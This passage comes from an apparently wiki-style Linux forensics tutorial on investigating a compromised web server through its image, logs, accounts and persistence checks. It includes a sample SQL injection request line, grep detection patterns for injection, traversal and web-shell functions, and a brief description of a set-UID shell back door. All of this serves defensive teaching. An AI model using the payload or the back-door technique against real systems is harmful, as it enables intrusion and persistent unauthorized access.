&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
